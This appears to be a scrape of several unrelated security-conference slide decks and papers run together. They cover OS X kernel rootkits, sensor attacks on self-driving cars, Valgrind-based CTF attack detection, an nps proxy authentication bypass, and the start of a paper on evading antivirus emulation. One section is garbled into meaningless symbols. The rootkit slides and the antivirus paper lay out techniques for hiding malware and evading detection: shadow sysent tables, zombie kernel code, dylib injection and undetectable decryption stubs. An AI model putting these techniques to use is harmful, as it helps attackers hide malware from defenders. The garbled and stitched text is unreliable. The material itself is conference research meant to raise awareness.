Liar! Macs have no viruses! -[ OS X Kernel Rootkits ]- §  Don't take me too seriously, I fuzz the Human brain! §  The capitalist "pig" degrees: Economics & MBA. §  Worked for the evil banking system! §  Security Researcher at COSEINC. §  "Famous" blogger. §  Wannabe rootkits book writer. §  Love a secondary curvy road and a 911. Who Am I Prologue §  OS X Kernel rootkits. §  Ideas to improve them. §  Sample applications. §  Raise awareness and interest in this area. Today's subject Prologue §  Reaching to uid=0 is your problem! §  The same with startup and persistency aka APT. §  Should be easier to find the necessary bugs. §  Less research = Less audits = More bugs. §  Main target is Mountain Lion. §  Also works with Mavericks (tested with DP1). Assumptions (the economist’s dirty secret that makes everything possible) Prologue §  OS X rootkits are a rare "species". §  Interesting hardware rootkits (Dino's Vitriol and Snare's EFI) but NO full code available L. §  Commercial rootkits: Crisis from Hacking Team and maybe FinFisher (iOS yes, OS X never saw). §  Crisis is particularly bad. §  Not many detection tools available. Current state of the “art” Simple Ideas Simple Ideas §  Many interesting kernel symbols are not exported. §  Some are available in Unsupported & Private KPIs. §  Not acceptable for stable rootkits. §  Solving kernel symbols from a kernel extension is possible since Lion. §  Not in Snow Leopard and previous versions. Problem #1 Simple Ideas §  __LINKEDIT segment contains the symbol info. §  Zeroed up to Snow Leopard. §  OS.X/Crisis solves the symbols in userland and sends them to the kernel rootkit. Simple Ideas §  One easy solution is to read the kernel image from disk and process its symbols. §  The kernel does this every time we start a new process. §  Possible to implement with stable KPI functions. §  Kernel ASLR slide is easy to obtain in this scenario. Simple Ideas Simple Ideas §  Virtual File System – VFS. §  Read and write any file using VFS functions. §  Using only KPI symbols. §  Recipe for success: q  Vnode. q  VFS context. q  Data buffer. q  UIO structure/buffer. Idea #1 Simple Ideas q How to obtain the vnode information. §  vnode_lookup(const char* path, int flags, vnode_t *vpp, vfs_context_t ctx). §  Converts a path into a vnode. Pay attention to that NULL! Simple Ideas §  Apple takes care of the ctx for us! Still works in Mavericks DP1! Simple Ideas q Data buffer. §  Statically allocated. §  Dynamically, using one of the many kernel functions: §  kalloc, kmem_alloc, OSMalloc, IOMalloc, MALLOC, _MALLOC. §  __LINKEDIT size is around 1Mb. Simple Ideas q UIO buffer. §  Use uio_create and uio_addiov. §  Both are available in BSD KPI. Simple Ideas §  Recipe for success: þ vnode of /mach_kernel. þ VFS context. þ Data buffer. þ UIO structure/buffer. §  We can finally read the kernel from disk… Simple Ideas §  Reading from the filesystem: §  VNOP_READ(vnode_t vp, struct io* uio, int ioflag, vfs_context_t ctx). §  “Call down to a filesystem to read file data”. §  Once again Apple takes care of the vfs context. §  If call was successful the buffer will contain data. §  To write use VNOP_WRITE. Simple Ideas §  To solve the symbols we just need to read the Mach-O header and extract some information: § __TEXT segment address (to find KASLR). § __LINKEDIT segment offset and size. § Symbols and strings tables offset and size from LC_SYMTAB command. Simple Ideas §  Read __LINKEDIT into a buffer (~1Mb). §  Process it and solve immediately all the symbols we (might) need. §  Or just solve symbols when required to obfuscate things a little. §  Don't forget that KASLR slide must be added to the retrieved values. Simple Ideas §  To compute the KASLR value find out the base address of the running kernel. §  Using IDT or a kernel function address and then lookup Mach-O magic value backwards. §  Compute the __TEXT address difference to the value we extracted from disk image. §  Or use some other method you might have. Simple Ideas §  We are able to read and write any file. §  For now the kernel is the interesting target. §  We can solve any available symbol - function or variable, exported or not in KPIs. §  Compatible with all OS X versions. Checkpoint #1 Simple Ideas §  Many interesting functions & variables are static. §  Cross references not available (IDA spoils us!). §  Hex search is not very reliable. §  Internal kernel structures fields offsets, such as proc and task. Problem #2 Simple Ideas §  Integrate a disassembler in the rootkit! §  Tested with diStorm, my personal favorite. §  Works great. §  Be careful with some inline data. §  One second to disassemble the kernel. §  In a single straightforward sweep. Idea #2 Earth calling ESET, hello? Simple Ideas §  Ability to search for static functions, variables, and structure fields. §  We still depend on patterns. §  These are more common between all versions. §  Possibility to hook calls by searching references and modifying the offsets. Checkpoint #2 Simple Ideas §  We can have full control of the kernel. §  Everything can be dynamic. §  Stable and future proof rootkits. Simple Ideas §  Can Apple close the VFS door? §  That would probably break legit products that use them. §  We still have the disassembler(s). §  Kernel anti-disassembly ? J §  Imagination is the limit! LSD helps, they say! Simple Ideas §  Executing userland code. §  Playing with DTrace’s syscall provider & Volatility. §  Zombie rootkits. §  Additional applications in the SyScan slides and Phrack paper (whenever it comes out). Practical applications Dude, where’s the paper? Userland cmds §  It can be useful to execute userland binaries from the rootkit or inject code into them. §  Many different possibilities exist: §  Modify binary (at disk or runtime). §  Inject shellcode. §  Inject a library. §  Etc… §  This particular one uses last year's Boubou trick. §  Not the most efficient but fun. Kernel calls userland, hello? Userland cmds §  Kill a process controlled by launchd. §  Intercept the respawn. §  Inject a dynamic library into its Mach-O header. §  Dyld will load the library, solve symbols and execute the library's constructor. §  Do whatever we want! Idea! Userland cmds q  Write to userland memory from kernel. q  Kernel location to intercept & execute the injection. q  A modified Mach-O header. q  Dyld must read modified header. q  A dynamic library. q  Luck (always required!). Requirements I play Russian roulette! Userland cmds q Write to userland memory from kernel. §  Easiest solution is to use vm_map_write_user. §  vm_map_write_user(vm_map_t map, void *src_p, vm_map_address_t dst_addr, vm_size_t size); §  "Copy out data from a kernel space into space in the destination map. The space must already exist in the destination map." Userland cmds q Write to userland memory from kernel. §  Map parameter is the map field from the task structure. §  proc and task structures are linked via void *. §  Use proc_find(int pid) to retrieve proc struct. §  Or proc_task(proc_t p). §  Check kern_proc.c from XNU source. Userland cmds þ Write to userland memory from kernel. §  The remaining parameters are buffer to write from, destination address, and buffer size. Userland cmds q  Kernel location to intercept & execute the injection. §  We need to find a kernel function within the new process creation workflow. §  Hook it with our function responsible for modifying the target's header. §  We are looking for a specific process so new proc structure fields must be already set. §  Vnode information can also be used. Userland cmds Userland cmds §  There's a function called proc_resetregister. §  Located near the end so almost everything is ready to pass control to dyld. §  Easy to rip and hook! §  Have a look at Hydra (github.com/gdbinit/hydra). Purrfect!!! Userland cmds þ Modified Mach-O header. §  Very easy to do. §  Check last year's HiTCON slides. §  OS.X/Boubou source code (https://github.com/gdbinit/osx_boubou). Userland cmds Userland cmds þ Dyld must read modified header. §  Adding a new library to the header is equivalent to DYLD_INSERT_LIBRARIES (LD_PRELOAD). §  Kernel passes control to dyld. §  Then dyld to target's entrypoint. §  Dyld needs to read the Mach-O header. §  If header is modified before dyld's control we can inject a library (or change entrypoint and so on). Userland cmds þ A dynamic library. §  Use Xcode's template. §  Add a constructor. §  Fork, exec, system, thread(s), whatever you need. §  Don't forget to cleanup library traces! I never leave footprints! Userland cmds §  Problems with this technique: §  Requires library at disk (can be unpacked from rootkit and removed if we want). §  Needs to kill a process (but can be used to infect specific processes when started). §  Proc structure is not stable (get fields offset using the disassembler). Hide & seek §  OS X is “instrumentation” rich: §  DTrace. §  FSEvents. §  kauth. §  kdebug. §  TrustedBSD. §  Auditing. §  Socket filters. Hide & seek §  Let’s focus on DTrace's syscall provider. §  Nemo presented DTrace rootkits at Infiltrate. §  Siliconblade with Volatility "detects" them. §  But Volatility is vulnerable to an old trick. Get the f*ck outta here! Hide & seek §  Traces every syscall entry and exit. §  mach_trap is the mach equivalent provider. §  DTrace's philosophy of zero probe effect when disabled. §  Activation of this provider is equivalent to sysent hooking. §  Modifies the sy_call pointer inside sysent struct. Hide & seek Hide & seek §  Not very useful to detect sysent hooking. §  fbt provider is better for detection (check SyScan slides). §  Nemo's DTrace rootkit uses syscall provider. §  Can be detected by dumping the sysent table and verifying if _dtrace_systrace_syscall is present. §  False positives? Low probability. Hide & seek Hide & seek Hide & seek " Nemo's presentation has shown again that known tools can be used for subverting a system and won't be easy to spot by a novice investigator, but then again nothing can hide in memory ;) " @ http://siliconblade.blogspot.com/2013/04/hunting-d-trace-rootkits-with.html Hide & seek §  It's rather easy to find what you know. §  How about what you don't know? §  Sysent hooking is easily detected by memory forensics (assuming you can get memory dump!). §  But fails at old sysent shadowing trick. §  Check http://siliconblade.blogspot.pt/2013/07/ offensive-volatility-messing-with-os-x.html I don't know anything! Hide & seek No hooking! Not fun L Hide & seek Sysent hooking, meh! Hide & seek Shadow sysent. U can't see me! Hide & seek §  Volatility plugin can easily find sysent table modification(s). §  But fails to detect a shadow sysent table. §  Nothing new, extremely easy to implement with the kernel disassembler! §  Hindsight is always easy! Hide & seek §  How to do it in a few steps: §  Find sysent table address via IDT and bruteforce, or some other technique. §  Warning: Mavericks has a modified sysent table. §  Use the address to find location in __got section. §  Disassemble kernel and find references to __got address. Hide & seek §  Allocate memory and copy original sysent table. §  Find space inside kernel to add a pointer (modifying __got is too noisy!). §  Install pointer to our sysent copy. §  Modify found references to __got pointer to our new pointer. §  Hook syscalls in the shadow table. Hide & seek §  Many instrumentation features available! §  Do not forget them if you are the evil rootkit coder. §  Helpful for a quick assessment if you are the potential victim. §  Be very careful with tool's assumptions. Checkpoint Zombies Otterz? Zombies? Zombies §  Create a kernel memory leak. §  Copy rootkit code to that area. §  Fix permissions and symbols offsets. §  That’s easy, we have a disassembler! §  Redirect execution to the zombie area. §  Return KERN_FAILURE to rootkit's start function. Idea! Zombies þ Create a kernel memory leak. §  Using one of the dynamic memory functions. §  kalloc, kmem_alloc, OSMalloc, MALLOC/FREE, _MALLOC/_FREE, IOMalloc/IOFree. §  No garbage collection mechanism. §  Find rootkit’s Mach-O header and compute its size (__TEXT + __DATA segments). Zombies q Fix symbols offsets. §  Kexts have no symbol stubs as most userland binaries. §  Symbols are solved when kext is loaded. §  RIP addressing is used (offset from kext to kernel). §  When we copy to the zombie area those offsets are wrong. Zombies q Fix symbols offsets. §  We can have a table with all external symbols or dynamically find them (read rootkit from disk). §  Lookup each kernel symbol address. §  Disassemble the original rootkit code address and find the references to the original symbol. §  Find CALL and JMP and check if target is the symbol. Zombies þ  Fix symbols offsets. §  Not useful to disassemble the zombie area because offsets are wrong. §  Compute the distance to start address from CALLs in original and add it to the zombie start address. §  Now we have the location of each symbol inside the zombie and can fix the offset back to kernel symbol. Zombies q Redirect execution to zombie. §  We can’t simply jump to new code because rootkit start function must return a value! §  Hijack some function and have it execute a zombie start function. §  Or just start a new kernel thread with kernel_thread_start. Zombies þ Redirect execution to zombie. §  To find the zombie start function use the same trick as symbols: §  Compute the difference to the start in the original rootkit. §  Add it to the start of zombie and we get the correct pointer. Zombies þ Return KERN_FAILURE. §  Original kext must return a value. §  If we return KERN_SUCCESS, kext will be loaded and we need to hide or unload it. §  If we return KERN_FAILURE, kext will fail to load and OS X will cleanup it for us. §  Not a problem because zombie is already resident. Zombies §  No need to hide from kextstat. §  No kext related structures. §  Harder to find (easier now because I'm telling you). §  Wipe out zombie Mach-O header and there’s only code/data in kernel memory. §  It’s fun! Advantages I eat zombies for breakfast! Zombies Demo (Dear Spooks: all code will be made public, don't break my room! #kthxbay) Fire the drones!!! Zombies Zombies Zombies Problems q Unstable internal structures! §  Proc structure is one of those. §  We just need a few fields. §  Find offsets by disassembling stable functions. §  Possible, you just need to spend some time grep'ing around XNU source code and IDA. Problems q Memory forensics. §  A worthy rootkit enemy. §  But with its own flaws. §  In particular the acquisition process. §  Some assumptions are weak. §  Needs more features. Problems §  And so many others. §  It's a cat & mouse game. §  Any mistake can be costly. §  When creating a rootkit, reduce the number of assumptions you have. §  Defenders face the unknown. §  Very hard game – abuse their assumptions. Conclusions Conclusions §  Improving the quality of OS X kernel rootkits is very easy. §  Stable and future-proof requires more work. §  Prevention and detection tools must be researched & developed. §  Kernel is sexy but don't forget userland. §  OS.X/Crisis userland rootkit is powerful! §  Easier to hide in userland from memory forensics. Conclusions §  Attackers have better incentives to be creative. §  Defense will always lag and suffer from information asymmetry. §  Economics didn't solve this problem and I doubt InfoSec will (because it's connected to Economics aka MONEY). §  Always question assumptions. This presentation has a few ;-). Pratice makes perfection! nemo, noar, snare, saure, od, emptydir, korn, g0sh, spico and all other put.as friends, everyone at COSEINC, thegrugq, diff-t, #osxre, Gil Dabah from diStorm, A. Ionescu, Igor from Hex-Rays, NSA & friends, and you for spending time of your life listening to me J. Greets We are hiring! §  Software Engineers. §  Based in Singapore. §  2 years experience. §  You know C and Python better than me! §  Can communicate in English. §  $80000NT monthly salary. §  Housing provided. §  2 Years contract. http://reverse.put.as http://github.com/gdbinit reverser@put.as pedro@coseinc.com @osxreverser #osxre @ irc.freenode.net And iloverootkits.com maybe soon! Contacts End! At last… Have fun! A day full of possibilities! Let's go exploring!
pdf
Can You Trust Autonomous Vehicles: Contactless Attacks against Sensors of Self-driving Vehicle Jianhao Liu 360 ADLAB SKY-GO Team Chen Yan Zhejiang University Wenyuan Xu Zhejiang University & University of South Carolina Paddy Liu Director of Qihoo360 ADLAB SKY-GO Team Vehicle Cyber Security Jianhao Liu is a senior security consultant at Qihoo 360 who focuses on the security of Internet of Things and Internet of Vehicles. He has reported a security vulnerability of Tesla Model S, led a security research on the remote control of a BYD car, and participated in the drafting of security standards among the automobile society. Being a security expert employed by various information security organizations and companies, he is well experienced in security service, security evaluation, and penetration test. Who Am I 2 Chen Yan Ph.D. Student Ubiquitous System Security Laboratory (USSLAB) Zhejiang University, China His research focuses on the security and privacy of wireless communication and embedded systems, including automobile, analog sensors, and IoT devices. Who Am I 3 Wenyuan Xu Professor Zhejiang University, China University of South Carolina, United States Her research interests include wireless security, network security, and IoT security. She is among the first to discover vulnerabilities of tire pressure monitor systems in modern automobiles and automatic meter reading systems. Dr. Xu received the NSF Career Award in 2009. She has served on the technical program committees for several IEEE/ACM conferences on wireless networking and security, and she is an associated editor of EURASIP Journal on Information Security. Who Am I 4 Table of Contents • Autonomous Vehicles • Basics of automated driving • Hacking autonomous cars by sensors • Attacking ultrasonic sensors • Attacking MMW Radars • Attacking cameras • Discussion 5 What is Autonomous Vehicle? 6 Source:Michael Aeberhard, BMW Group Research and Technology Levels of Driving Automation 7 Connected Automated Vehicles 8 How can cars be Autonomous? 9 Source:Michael Aeberhard, BMW Group Research and Technology Hardware Architecture 10 Source:Michael Aeberhard, BMW Group Research and Technology Vehicle Sensors 11 Radar Works in low light & poor weather, but lower resolution. Ultrasound Limited to proximity, low speed manoeuvres. Camera Senses reflected light, limited when dark. Sees colour, so can be used to read signs, signals, etc. LiDAR Emits light, so darkness not an issue. Some weather limitation. Source: Texas Instruments Vehicle Controllers 12 Electric Power Steering Electronic Throttle Electronic Brake Autonomous System 13 Maneuver Planning Trajectory Planning State Machine Source:Michael Aeberhard, BMW Group Research and Technology Advanced Driver Assistance System (ADAS) 14 15 ADAS Application Demo of Tesla Model S Autopilot 16 Sensors Autonomous System Control Display How to Hack Sensors? Spoofing Jamming Blinding MMW Radars Cameras Ultrasonic Sensors Spoofing Jamming 17 Attacking Ultrasonic Sensors On Tesla, Audi, Volkswagen, and Ford 18 Ultrasonic Sensors Proximity sensor • Parking assistance • Parking space detection • Self parking • Tesla’s summon 19 Parking Assistance 20 How do ultrasonic sensors work? • Piezoelectric Effect • Emit ultrasound and receive echoes • Measure the propagation time (Time of Flight) • Calculate the distance 21 : propagation time of echoes : velocity of sound in air Attacking ultrasonic sensors Attacks: • Jamming • Spoofing • Cancellation Equipment: • Arduino • Ultrasonic transducer 22 Jamming Attack Known performance defect Basic Idea: • Injecting ultrasonic noise to lower Signal to Noise Ratio (SNR) • At resonant frequency (40 – 50 kHz) Experiment target: • 8 stand-alone ultrasonic sensor modules • Tesla, Audi, Volkswagen, Ford 23 Jamming Attack - Setup Car in figure: Tesla Model S A: Ultrasonic Jammer B: 3 ultrasonic sensors on the left front bumper 24 Jamming Attack – Demo on Tesla 25 Jamming Attack – Demo on Audi 26 Jamming Attack – Results • On ultrasonic sensors • On cars with parking assistance • On Tesla Model S with self-parking and summon 27 Tesla Normal Tesla Jammed Audi Normal Audi Jammed Spoofing Attack Basic Idea • Transmitting ultrasonic pulses with similar pattern • Timing matters! Difficulty • Only the first justifiable echo will be processed 28 Spoofing Attack – Demo on Tesla 29 Spoofing Attack – Demo on Volkswagen 30 Spoofing Attack - Results • On ultrasonic sensors • On cars with parking assistance 31 Tesla Normal Tesla Spoofed Audi Spoofed Acoustic Quieting • Cloaking • Sound absorbing materials • Acoustic Cancellation • Cancel with sound of reverse phase • Minor phase and amplitude adjustment 32 Attacking Millimeter Wave Radars On Tesla Model S 33 Millimeter Wave Radar 34 Short to long range sensing • Adaptive Cruise Control (ACC) • Collision Avoidance • Blind Spot Detection How do MMW Radars work? • Transmit and receive millimeter electromagnetic waves • Measure the propagation time • Modulation • Amplitude • Frequency (FMCW) • Phase • Doppler Effect • Frequency Bands: • 24 GHz • 76-77 GHz 35 Frequency Modulated Continuous Wave (FMCW) 36 Attacking MMW Radars & Setup Attacks: • Jamming • Spoofing • Relay Equipment: Signal analyzer (C) Harmonic mixer (E) Oscilloscope (B) Signal generator (D) Frequency multiplier (E) 37 Attacking MMW Radars - Signal Analysis • Center frequency: 76.65 GHz • Bandwidth: 450 MHz • Modulation: FMCW … 38 Attacks on MMW Radar Jamming Attack • Jam radars within the same frequency band, i.e., 76 - 77 GHz Spoofing Attack • Spoof the radar with similar RF signal Relay Attack • Relay the received signal 39 Attacking MMW Radars - Results 40 • Jamming: evaporate detected object • Spoofing: tamper with object distance Attacking MMW Radars – Demo on Tesla 41 Attacking Cameras On Mobileye, Point Grey, and Tesla Model S 42 Automotive Cameras Computer vision • Lane departure warning/keeping • Traffic sign recognition • Parking assistance 43 How do automotive cameras work? 44 Attacking Cameras - Setup Attack: • Blinding Equipment: • LED spot • Laser • Infrared LED spot 45 Attacking Cameras – Results with LED spot 46 LED toward the board LED toward camera Tonal Distribution • Part or total blinding Attacking Cameras – Results with Laser 47 Fixed beam Wobbling beam Damage caused • Part or total blinding • Permanent damage Damage is permanent Discussion • Attack feasibility • Countermeasures • Limitations & Future work 48 Conclusions and Takeaway messages • Realistic issues of automotive sensor security • Big threat to autonomous vehicles (present and future) • Attacks on ultrasonic sensors • Attacks on MMW Radars • Attacks on cameras • Attacks on self-driving cars 49 Questions and Answers Jianhao Liu liujianhao@360.cn Chen Yan yanchen@zju.edu.cn Wenyuan Xu wyxu@cse.sc.edu
pdf
Emula&on  based  analysis using  binary  instrumenta&on Applica&on  on  CTF 1 SPEAKERS 2 Myunghun  Cha •  From  Republic  of  Korea •  POSTECH  senior  student  majoring  CSE •  Team  Leader  of  PLUS •  CODEGATE  2009  Hacking  Contest  3rd  place •  DEFCON  2009  CTF  3rd  place •  DEFCON  2011  CTF  8th  place •  Many  hacking  contest  experience 3 Jinsuk  Park •  POSTECH  sophomore  majoring  ME •  Team  member  of  PLUS 4 PLUS •  POSTECH  Laboratory  for  UNIX  Security •  Found  in  1992 •  Researching  on  various  security  issues •  Par&cipa&ng  in  lots  of  hacking  contests •  Par&cipated  in  DEFCON  CTF  three  &mes – 2009  (3rd  ) – 2010  (3rd) – 2011  (8th) – 2012 5 DEFCON  CTF Mo&va&on 6 CTF  Basic  Rule •  CTF  :  Capture  The  Flag •  Each  team  is  given  vulnerable  server •  Vulnerable  daemons  are  running  on  the  server Vulnerability 7 CTF  Daemon 문제 8 9 Scoring •  There’s  a  key  file  for  each  daemon  which  is changed  periodically •  You  should  read  or  write  the  key  file  to  get  a score •  It  simulates  informa&on  stealling  and corrup&on  in  real  world 10 CTF  Network Given  two  lan  cables 11 Network CTF  Network CTF  Summary •  We  can  a^ack  over  the  wire •  We  can  sniff,  suspect,  or  drop  packet •  We  can  a^ack  analyzing  binary  or  using  other  teams’  exploit What  do  I  want  to  do? •  I  want  to  detect  a^acks •  I  want  to  analyze  vulnerability  easily  using other  teams’  a^ack •  Then…  how? EMULATION  BASED  ANALYSIS Emula&on  Based  Analysis •  We  can  detect  bug  following  specific  pa^erns – Stack  boundary  check – memcpy  without  string  length  check – EIP  address  check – Format  string  from  user  input •  Verifica&on  user  input  is  much  more  easier than  finding  hidden  bug •  Dynamic  analysis  is  easier  than  sta&c  analysis Instrumenta&on? Dynamic  Binary  Instrumenta&on •  Ability  to  monitor  or measure  the  level  of  a program's  performance, to  diagnose  errors  and to  write  trace informa&on Dynamic  Binary  Instrumenta&on •  A  technique  to  analyze  and  modify  the behavior  of  a  binary  program  by  injec&ng arbitrary  code  at  arbitrary  places  while  it  is execuCng Usage •  Simula&on  /  Emula&on •  Performance  Analysis •  Program  op&miza&on •  Bug  detec&on •  Correctness  Checking •  Call  graphs •  Memory  Analysis For  hackers? •  Fuzzing •  Covert  Debugging •  Exploitable  Vulnerability  Detec&on •  Automated  Reverse  Engineering •  Bypass  An&-­‐Debuggers •  Automated  exploita&on •  Automated  unpacking DBI  frameworks •  Pin •  Valgrind •  DynamoRio •  Etc. Why  valgrind? •  Valgrind  runs  on  BSD  but  PIN  does  not  (which  is  DEFCON  CTF  Environment) Valgrind  :  Introduc&on •  Valgrind  Core – DBI  framework – Simulated  CPU •  Valgrind  tool – Wri^en  in  C  using  Valgrind  framework – Used  as  Plug-­‐ins  for  Valgrind •  Valgrind  Core  +  tool  plug-­‐in  =  Valgrind  tool Valgrind  :  Tools •  Memcheck:  check  memory  management  of the  binary  executable •  Cachegrind:  cache  profiling •  Helgrind:  Data  races  condi&ons  detec&on •  Massif:  Heap  profiler •  User  wri^en  tool •  usage:  valgrind  -­‐-­‐tool=<toolname>  [op&ons] prog-­‐and-­‐args Valgrind  :  How  it  works 1.  Disassembly Machine code(x86) ↓ Intermediate Language(IR) 2.  Instrumenta&on IR ↓ Instrumented  IR 3.  Assembly Instrumented  IR ↓ Machine code(x86) VEX  IR(Intermediate  Representa&on) •  Valgrind’s  binary  transla&on  mechanism •  VEX  IR:  machine  independent  intermediate representa&on •  Translates  a  block  of  binary  codes  to  simplified VEX  representa&on VEX  IR  :  Example •  addl  %eax,  %ebx  : – t3  =  GET:I32(0)  #  get  %eax,  a  32-­‐bit  integer – t2  =  GET:I32(12)  #  get  %ebx,  a  32-­‐bit  integer – t1  =  Add32(t3,t2)  #  addl – PUT(0)  =  t1  #  put  %eax Valgrind  :  Overview Valgrind  core Executable  Binary + VEX  IR  translaCon + Valgrind  tool InstrumentaCon DBI  Result CTFGRIND A^ack  Detec&on  Using  Valgrind  DBI  Framework What  does  it  do? •  match  registered  execu&on  pa^erns •  checks  sensi&ve  memory  area  overwri&ng •  marks  execu&on  flow  using  IDA  Plug-­‐in Pa^ern  1:  RET  overwri&ng •  We  can  get  the  guest  machine’s  register values •  We  should  protect  our  RET  and  stored  EBP 1.  Monitor  every  memory  opera&on  (Store) 2.  Compare  target  address  with  $EBP 3.  Output  callstack Pa^ern  2:  GOT  overwri&ng •  We  can  do  in  the  same  manner,  because  the address  of  GOT  is  sta&c  in  a  binary Pa^ern  3:  Strcpy •  What  if  a  bug  comes  from  using  library func&on  such  as  strcpy 1.  We  can  compare  the  RET  before  the  library func&on  call  and  auer  the  call 2.  There  could  be  many  vulnerable  library func&ons  such  as  memcpy,  strcpy,  and  scanf Possible  usage  #1 •  A^ach  directly  to  running  daemon •  Prevent  a^ack  before  exploita&on •  Stop  the  process  when  a  danger  is  detected •  Possible  slow  down Possible  usage  #2 •  Runs  on  a  separated  shadow  machine •  When  it  detects  a^ack,  register  the  packet pa^ern  to  firewall  to  prevent  further  a^ack •  Can’t  defend  the  first  a^ack IDA  Plugin •  CTFGRIND  logs  the  call  stack  when  the  a^ack detected •  IDA  Plugin  reads  the  file  and  marks  the execu&on  path •  Helpful  to  analyze  other  teams’  exploit DEMO REFERENCE •  Emula&on-­‐ based  Security  Tes&ng  for  Formal  Verifica&on  (Bl ack  Hat  Europe  2009)  –  Bruno  Luiz •  Op&mizing  binary  code  produced  by  Valgrind  – Luis  Veiga •  Valgrind  –  Mario  Sanchez,  Cecilia  Gonzalez •  Hacking  using  Binary  instrumenta&on  –  Gal  Diskin •  Valgrind:  A  Framework  for  Heavyweight  Dynamic Binary  Instrumenta&on  -­‐ Nicholas  Nethercote,  Juliam  Seward •  Valgrind  Technical  Manual 감사합니다 hoon0612  @postech.ac.kr jinmel@postech.ac.kr
pdf
收到情报->追番ing->顺便看看->认证绕过 git clone https://github.com/ehang-io/nps.git git pull ⼀些本信息 框架:beego ⽂档:docs/api.md 直奔鉴权逻辑去 -> web/controllers/base.go 默认情况下auth_key配置是注释掉的,本能的想到获取到值可能为空,那结合时间戳算⼀下 md5Key,认证就绕过了,实际测试也是如此: 代理⼯具nps认证绕过 Done
pdf
• 1$1 • +110@1101 • • - • • 0011 • @21 - &- • -- &--- • - -- & • :-&--- • --- //(/(/) ) • / • /)-)) • /(/) • ./-/)/// • / • / / /( /) . .. • . • .. • .. • • . . • . .... ... 1.+0 • .1.,.,. • .+..10. A 3 2. 21 3 2. ,. • 1.0...2,3 A ,2 8. ..3 • 2. .1 • 8.. ,22. 1. +0 +20 8,. .( • ( /. • (. • A/ • /A/ • )./ • / • ) • (. (. • )E9C ! • 1 8 : 4E9C 8E6( • 94E6 2 • - 0 EC 9 E366 4E6 8 • 9688 2 • 0363B4B3BI8F3968836 • 98C 2&2& • 0363B4B3BI836110 • 93B:F 2 • FBGB 0 F3 3B3B (0)- :C61#$(# • 9CC):C444:C6 • .E664C26249:E6 • :C-26:C6C92664C6GC:C • :C6462C664C6 2C66GC • :C462664C6 /606 :C 029- • )09?09 • 29220296 • (C26 224 1 • 6?09 • 6140296 49 1-0 )! • 0206 • (09410 • 0200 /0421-)( • 0140212- ./0410-24 1-/0 )$$ .9:40.-/0 1/:(920.:0:091 1.09:40.-/0 60 1.0920.:0:091 620- (! )4-12- ()) - )20021 )2001 2 2 1) (1 21 1 -!! 9220912 • 2 9)1 • 202192( • )0 2/11 )01(/ 0-99/ 2(/ 099 0 ,)- ( 98C )2&)2& • 0 • (9E96F64-E4 598C • 56G0-( • 06H-11AECC85 8C 48 &-(&-( • 92)2821 • &8282984082 • 81)02182122928 84 )/&)/& • :39 3102 :108483302 • :39 (8:108:(313392:9 - -()-0 24.340( • 24.340 • .99.1409-40.9 4- • )99 -01 • 999040.99140 • 940919 • • A4 • 2A • 0. 029-12( )11- • 12:24 • 9923-221 GE)3 • 4GGCCEEG( • ,GCE22- • 2EEFFGCEH?FNGFFHGCE9?F • 1FGEG9F CGFG9C9GHC9?G • CEEGGCGGEFGEGCF • .CHGC • 0EGCEEGGE9G • /EEGGHGCE9?F GCGF C3A49E 1$$ • CAD4CC93H3 • /C 3C9 ( DCDC(3C9C=9A C3A49E A=3CC3A A( ==C. 0-) DCDC(E3A93DC9AI2H 24-341() • 3- • -2A • A49 • -.A • - • --9111319--049-41?3-94.1 04)30-( 21- 4)3- &&& • -- • • - • -- • - • -- 2 • 22,222 • 22 • , 2,22 • 2 • 2 • 2
pdf
1 Bypass Antivirus Dynamic Analysis Limitations of the AV model and how to exploit them Date of writing: 08/2014 Author: Emeric Nasi – emeric.nasi[at]sevagas.com Website: http://www.sevagas.com/ License: This work is licensed under a Creative Commons Attribution 4.0 International License Note: This paper requires some knowledge C and Windows system programming 2 1. Introduction « Antivirus are easy to bypass », « Antivirus are mandatory in defense in depth », «This Cryptor is FUD» are some of the sentence you hear when doing some researches on antivirus security. I asked myself, hey is it really that simple to bypass AV? After some research I came (like others) to the conclusion that bypassing Antivirus consists in two big steps:  Hide the code which may be recognized as malicious. This is generally done using encryption.  Code the decryption stub in such a way it is not detected as a virus nor bypassed by emulation/sandboxing. In this paper I will mainly focus on the last one, how to fool antivirus emulation/sandboxing systems. I’ve set myself a challenge to find half a dozen of ways to make a fully undetectable decryption stub (in fact I found way more than that). Here is a collection of methods. Some of those are very complex (and most “FUD cryptor” sellers use one of these). Others are so simple I don’t understand why I’ve never seen these before. I am pretty sure underground and official virus writers are fully aware about these methods so I wanted to share these with the public. 2. Table of Contents 1.Introduction ......................................................................................................................................... 2 2.Table of Contents ................................................................................................................................. 2 3.Bypassing Antivirus theory ................................................................................................................... 3 3.1.Static signature analysis ................................................................................................................ 3 3.2.Static Heuristic analysis ................................................................................................................. 3 3.3.Dynamic analysis ........................................................................................................................... 3 3.4.Antivirus limitations ...................................................................................................................... 4 4.The test conditions ............................................................................................................................... 5 4.1.Encrypted malware ....................................................................................................................... 5 4.2.Local environment ......................................................................................................................... 5 4.3.VirusTotal ...................................................................................................................................... 6 5.Complex methods. ............................................................................................................................... 6 5.1.The code injection method............................................................................................................ 6 5.2.The RunPE method ........................................................................................................................ 6 6.Simple yet effective methods ............................................................................................................... 7 6.1.The “Offer you have to refuse” method ........................................................................................ 7 6.2.The “I shouldn’t be able to do that!” method ............................................................................. 11 6.3.The “Knowing your enemy” method ........................................................................................... 14 6.4.The “WTF is that?” method ......................................................................................................... 16 6.5.The “Checking the environment” method ................................................................................... 19 6.6.The “I call myself” method .......................................................................................................... 23 7.Conclusion .......................................................................................................................................... 29 3 3. Bypassing Antivirus theory 3.1. Static signature analysis Signature analysis is based on a blacklist method. When a new malware is detected by AV analysts, a signature is issued. This signature can be based on particular code or data (ex a mutex using a specific string name). Often the signature is build based on the first executed bytes of the malicious binary. AV holds database containing millions of signatures and compares scanned code with this database. The first AV used this method; it is still used, combined with heuristic and dynamic analysis. The YARA tool can be used to easily create rules to classify and identify malwares. The rules can be uploaded to AV and reverse engineering tools. YARA can be found at http://plusvic.github.io/yara/ The big problem of signature based analysis is that it cannot be used to detect a new malware. So to bypass signature based analysis one must simply build a new code or rather do minor precise modification on existing code to erase the actual signature. The strength of polymorphic viruses is the ability to automatically change their code (using encryption) which makes it impossible to generate a single binary hash or and to identify a specific signature. It is still possible to build a signature on an encrypted malicious code when looking at specific instructions in decryption stub. 3.2. Static Heuristic analysis In this case the AV will check the code for patterns which are known to be found in malwares. There are a lot of possible rules, which depends on the vendor. Those rules are generally not described (I suppose to avoid them being bypassed too easily) so it is not always easy to understand why an AV consideres a software to be malicious. The main asset of heuristic analysis is that it can be used to detect new malwares which are not in signature database. The main drawback is that it generates false 